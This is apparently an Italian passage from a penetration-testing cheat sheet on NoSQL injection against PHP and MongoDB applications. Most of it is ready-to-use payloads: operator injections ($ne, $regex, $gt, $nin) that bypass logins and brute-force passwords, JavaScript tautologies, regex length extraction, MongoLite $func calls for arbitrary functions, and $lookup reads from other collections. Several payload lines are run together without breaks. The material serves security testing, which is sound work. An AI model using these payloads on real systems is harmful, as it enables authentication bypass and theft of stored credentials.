In PHP puoi inviare un Array cambiando il parametro inviato da parameter=foo a parameter[arrName]=foo.
Gli exploit si basano sull'aggiunta di un Operatore:
username[$ne]=1$password[$ne]=1 #<Not Equals>username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7#<Matches non of the values of the array> (not test and not admin){ $where:"this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Un attaccante può sfruttare questo inserendo stringhe come admin' || 'a'=='a, facendo sì che la query restituisca tutti i documenti soddisfacendo la condizione con una tautologia ('a'=='a'). Questo è analogo agli attacchi di SQL injection dove input come ' or 1=1-- - vengono utilizzati per manipolare le query SQL. In MongoDB, iniezioni simili possono essere effettuate utilizzando input come ' || 1==1//, ' || 1==1%00, o admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Estrai informazioni lunghezza
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Utilizzando l'operatore $func della libreria MongoLite (utilizzata per impostazione predefinita), potrebbe essere possibile eseguire una funzione arbitraria come in questo rapporto.
"user":{"$func":"var_dump"}
Ottieni informazioni da una collezione diversa
È possibile utilizzare $lookup per ottenere informazioni da una collezione diversa. Nell'esempio seguente, stiamo leggendo da una collezione diversa chiamata users e ottenendo i risultati di tutte le voci con una password che corrisponde a un carattere jolly.
NOTA:$lookup e altre funzioni di aggregazione sono disponibili solo se è stata utilizzata la funzione aggregate() per eseguire la ricerca invece delle più comuni funzioni find() o findOne().